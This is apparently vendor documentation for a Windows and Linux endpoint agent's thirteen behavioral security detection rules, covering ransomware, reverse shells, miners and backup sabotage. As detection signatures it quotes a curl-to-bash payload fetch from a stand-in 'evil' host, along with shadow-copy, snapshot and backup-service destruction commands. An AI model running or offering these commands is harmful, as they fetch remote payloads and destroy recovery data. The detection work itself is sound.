Cross-Platform Behavioral Security Monitoring with Thirteen Built-In Detection Rules

ET Ducky uses one kernel-event stream for both performance diagnostics and behavioral security.

The Windows agent ships an always-on ETW behavioral monitor that watches for ransomware-style file rename bursts, shadow-copy deletion, backup sabotage, and selected exec chains. It can apply automatic network isolation on high-confidence detection. A second layer added in May 2026 runs on both Windows and Linux from a single rule definition.

Rule engine

The cross-platform rule engine subscribes to the agent's kernel-event stream (ETW on Windows, eBPF on Linux). Each registered rule receives every event in turn and decides whether to fire. Engine constraints:

• Rules must not block. They run on the same thread that delivers events. Blocking causes dropped events.
• Rules own their state. Rules requiring a sliding window or per-process counter implement that data structure themselves; the engine provides no state primitives.
• Rules are tuned to prefer false positives over false negatives. Duplicate firings are deduplicated at the dashboard layer.

Thirteen rules ship with the agent. Each detection record includes the events that triggered the rule.

Rule 1, suspicious-exec-chain

The rule fires when a shell process spawns a network downloader (curl, wget, certutil, bitsadmin) and the downloader's PID then spawns another shell within 30 seconds. Example signature: curl http://evil/payload.sh | bash.

Evidence: the original shell-to-downloader exec and the downloader-to-shell exec, with PIDs and parent-child relationships.

Default severity: High.

Rule 2, mass-file-access

The rule maintains a per-process sliding window of 5 seconds containing distinct file paths. It fires when a single process touches 200 or more distinct paths in that window and the paths span at least 3 user-data root directories. The cross-root requirement reduces firings on backup tools, code indexers, and find -exec commands which typically stay within one tree.

Evidence: ten of the most recent file accesses with timestamps and paths.

The rule detects only high-throughput access patterns. Ransomware that throttles below the 200/5s threshold does not trigger this rule.

Default severity: High.

Rule 3, reverse-shell-heuristic

The rule detects temporal coupling, which is a shell exec correlated with a recent network event in the same process tree. The window is 10 seconds; both the process and its immediate parent are considered.

Legitimate session daemons (sshd accepting an inbound connection and spawning bash) produce the same pattern. The evidence panel includes the network endpoint so the remote address can be evaluated.

Default severity: High.

Rule 4, privilege-escalation-noninteractive-parent

The rule fires when a privilege-escalation binary (sudo, pkexec, su, doas, runas) is spawned by a parent that is not on an allowlist of interactive parents. The allowlist includes bash, sh, zsh, sshd, login, lightdm, gdm, terminal multiplexers, and ET Ducky's own elevation flow.

Cron jobs running shell scripts that call sudo trigger this rule. The tuning options are to allowlist the calling script or to modify the cron job to not require escalation.

Default severity: Medium.

Rule 5, unusual-outbound-from-system-daemon

The rule maintains a per-daemon expected-outbound-port set and fires on connections outside that set. As examples of expected ports, sshd uses DNS (53), Kerberos (88), LDAP (389/636), and SSH (22); systemd-resolved uses DNS (53), DoT (853), and DoH (443); and chronyd uses NTP (123) and DNS (53).

Cooldown is applied per (process, port) pair to suppress repeated firings from a single mismatched connection pattern.

Default severity: Medium.

Rule 6, mass-file-rename

The rule fires when a single process renames 25 or more files to a known ransomware extension (.locked, .encrypted, .crypto, and a curated list of strain-specific extensions) within a 60-second window. This complements mass-file-access. That rule fires on volume regardless of extension, and some strains throttle below its 200-files/5s threshold. This rule is shape-aware. Even at low volume, 25 renames that all add .locked have no legitimate explanation.

The extension list is maintained by hand from ID-Ransomware, NoMoreRansom, and AV-vendor strain writeups. New strains add extensions and old entries keep working, so the list does not go stale the way signatures do. Per-process cooldown is 60 seconds.

Default severity: High.

Rule 7, ransom-note-pattern

The rule fires on creation of a file whose basename matches known ransom-note naming shapes such as HOW_TO_DECRYPT*, DECRYPT_INSTRUCTIONS*, Restore-My-Files.txt, @WanaDecryptor@*, and strain-named variants (LockBit, Conti, REvil, and others), sourced from CISA #StopRansomware advisories and the NoMoreRansom decryptor catalog.

There is no threshold. A single match fires, because ransom notes have zero legitimate use. Even a security-awareness test file with that name is worth an alert. A 5-minute per-process cooldown suppresses duplicates when a strain drops the same note into every directory it touched.

Default severity: Critical.

Rule 8, shadow-copy-deletion

The rule fires on an exec whose command line matches OS-specific snapshot or recovery destruction (MITRE T1490). On Windows: vssadmin delete shadows, vssadmin resize shadowstorage, wbadmin delete catalog, bcdedit disabling recovery, wmic shadowcopy delete. On Linux: btrfs subvolume delete, zfs destroy on snapshots, snapper delete, timeshift --delete-all, and removal of /.snapshots.

A single hit fires. Deleting shadow copies has effectively no legitimate use on a managed endpoint, and even a deliberate manual invocation is worth surfacing for change-management visibility. Per-process cooldown is 60 seconds. This is typically the first stage of a ransomware sweep. Recovery options are destroyed before encryption begins.

Default severity: Critical.

Rule 9, crypto-miner-heuristic

The rule matches exec command lines with miner-distinctive shapes such as stratum+tcp:// / stratum+ssl:// pool protocols, algorithm flags (--algo=randomx, cryptonight, kawpow, and others), coin flags, and hardcoded mining-pool domains. The rule deliberately does not match on binary names alone. Attackers routinely rename xmrig to something like kworker, and the command line still matches.

Severity is High rather than Critical because legitimate mining exists on some endpoints (developer testing, homelab rigs, research). Per-process cooldown is 5 minutes.

Default severity: High.

Rule 10, backup-sabotage

The rule fires on removal of recovery options ahead of encryption: stopping, deleting or disabling the Volume Shadow Copy service, Windows Backup, or a third-party backup agent. The built-in signature list covers Veeam, Acronis, Backup Exec, Sophos, and the Windows services those products depend on. An organization can add its own backup service names through policy.

There are two detection paths and they are not equally conclusive. A registry write setting a backup service's Start value to 4 is a deliberate, targeted disable, and fires at Critical. A command line such as sc stop VeeamBackupSvc is the same command a backup product, an installer, or an administrator runs during maintenance, and fires at High. Separating them is what allows automatic isolation to be raised above the noisier path without losing the conclusive one.

Command lines are matched against whitespace-delimited tokens rather than by substring, so sc.exe query backupstopservice does not match a rule looking for sc, stop, and a backup service name.

The registry path depends on the Registry kernel provider being enabled. Without it the rule still runs, but only on the command-line half, which is the easier half for an attacker to avoid.

Default severity: High, with the registry-disable path at Critical.

Rule 11, file-encryption-sweep

The rule fires when a single process renames 20 or more files within 30 seconds and every destination gains the same extension, whatever that extension is. Thresholds come from the pushed security policy; 20 and 30 seconds are the defaults.

This is the complement to mass-file-rename rather than a duplicate of it. That rule matches a destination extension against a curated list of known ransomware extensions, which catches commodity strains at low volume but cannot catch an extension nobody has catalogued. This rule watches for the extension changing and does not care what it changes to, which is the novel-strain case.

The rule is effective on Windows only, for a data reason rather than a policy one. Detecting a change requires both the old and the new name, and Windows ETW carries both. The Linux eBPF program currently emits only the destination path for rename, renameat and renameat2, so there is nothing to compare against. The rule is registered on Linux anyway and declares the gap in the agent capability report, so it reads as a known blind spot rather than a rule that silently never matches, and it starts working there with no redeployment once eBPF exposes both paths. Linux is not left uncovered in the meantime: mass-file-rename runs there and catches every listed extension. What Linux loses is the novel-extension case.

Default severity: High.

Rule 12, suspicious-process-spawn

The rule fires on a single parent-child edge that should not exist, rather than on a chain or a volume. A document reader, browser, or script host spawning a shell or a scripting tool is the shape it looks for. winword.exe launching powershell.exe is the canonical case, and it is the usual signature of macro-based initial access.

Parents include the Office applications, the major browsers, PDF readers, and the Windows script hosts. Children include cmd.exe, powershell.exe, pwsh.exe, wscript.exe, cscript.exe, mshta.exe, certutil.exe, bitsadmin.exe, regsvr32.exe, rundll32.exe, wmic.exe, schtasks.exe, and the other common living-off-the-land binaries. Both lists take per-organization additions from policy, which is how a line-of-business application that legitimately drives PowerShell from a document is handled.

This does not overlap suspicious-exec-chain. That rule detects a sequence among tools that are individually ordinary, where the chain is what makes it suspect. This rule detects one edge that is wrong on its own, because Word does not launch PowerShell.

Parent resolution tries three sources in order: the event's own metadata, the map of processes the agent has observed starting, and then a live lookup by process id. The third source is what covers parents that were already running when capture began. An earlier version of this detector built its map only from observed start events, so long-lived parents such as outlook.exe and chrome.exe were invisible to it and it produced nothing until the user happened to restart one. That made it least useful immediately after an agent install or update, which is exactly when a fresh compromise is most likely to be found.

The signature lists are Windows image names, so in practice this fires on Windows. It is registered on Linux, where nothing matches, so that adding Linux equivalents later is a data change rather than a deployment.

Default severity: Medium.

Rule 13, the ransomware-kill-chain meta-rule

The rule fires when any two of shadow-copy-deletion, mass-file-rename, and ransom-note-pattern fire on the same process within five minutes. These stages do not co-occur incidentally, so the combination constitutes ransomware-in-progress with very high confidence.

Unlike the other twelve rules, this one consumes the rule engine's output rather than raw kernel events. It subscribes to the engine's detection stream and emits a single synthetic Critical alert referencing the component detections as evidence, so the operator gets one "isolate this host now" toast instead of three separate alerts. The crypto-miner rule is deliberately excluded from the chain, because miners neither precede nor follow encryption. Per-process cooldown after firing is 10 minutes.

Default severity: Critical.

Cloud-side analytics rules

Two further rules run in the cloud against fleet-wide data rather than on the agent, and land in the same detections table and toast pipeline. fleet-baseline-deviation builds a per-app behavioral profile from an organization's own fleet's 15-minute rollups and flags the host where an app behaves as an outlier against that baseline. approved-app-hash-mismatch flags an approved application whose on-disk binary hash diverges from the organization's trusted reference for that app, version, and architecture (reported by Windows and Linux agents alike). Both ship default-off and run in shadow mode first, so an organization can review what would have fired and tune before enabling live detections and automation triggers.

Rule customization

The thirteen agent-side rules above are the rules currently included with the agent. Planned additions include file-integrity monitoring on key paths (/etc/passwd, /etc/sudoers, Windows registry hives carrying persistence keys), credential-access detection (reads of /etc/shadow, lsass access on Windows), and lateral-movement indicators (SMB or SSH from one host to another). Each new rule uses a single cross-platform definition and runs on both operating systems without per-platform configuration.

Custom rule definitions shipped in August 2026. Definitions are authored in the dashboard, stored per organization, and delivered to agents in the pushed security policy, so a rule change takes effect without an agent reinstall. The agent evaluates all of an organization's definitions through a single registered dispatcher, which keeps the engine's rule set fixed for the life of the process while the definition set is swapped by reference. That matters because a rule collection that can change midway through an event produces detections nobody can reproduce. A custom rule an operator switches off is not evaluated at all, rather than evaluated and discarded.

Definitions are validated when the policy changes rather than when an event arrives, and an invalid definition is dropped with a log line naming the rule and the reason. The agent re-validates definitions the cloud has already checked. The cloud is not a trust boundary for this: a bug or a compromise there is precisely the case where an unbounded rule running on every endpoint would matter, and the check costs microseconds per policy change.

Detection delivery

Each detection writes a row to the per-organization AgentBehavioralDetections table. Row-level security is applied at the database layer. A Server-Sent Event is pushed to every dashboard tab open in that organization. A toast notification appears in the top right of the dashboard within seconds of the agent observing the pattern. Clicking the toast opens the side drawer for the affected agent, showing the full evidence trail and an acknowledgement control.

Detections persist in the table until acknowledged. Bulk acknowledgement is available. The audit trail records operator, detection id, agent, and timestamp.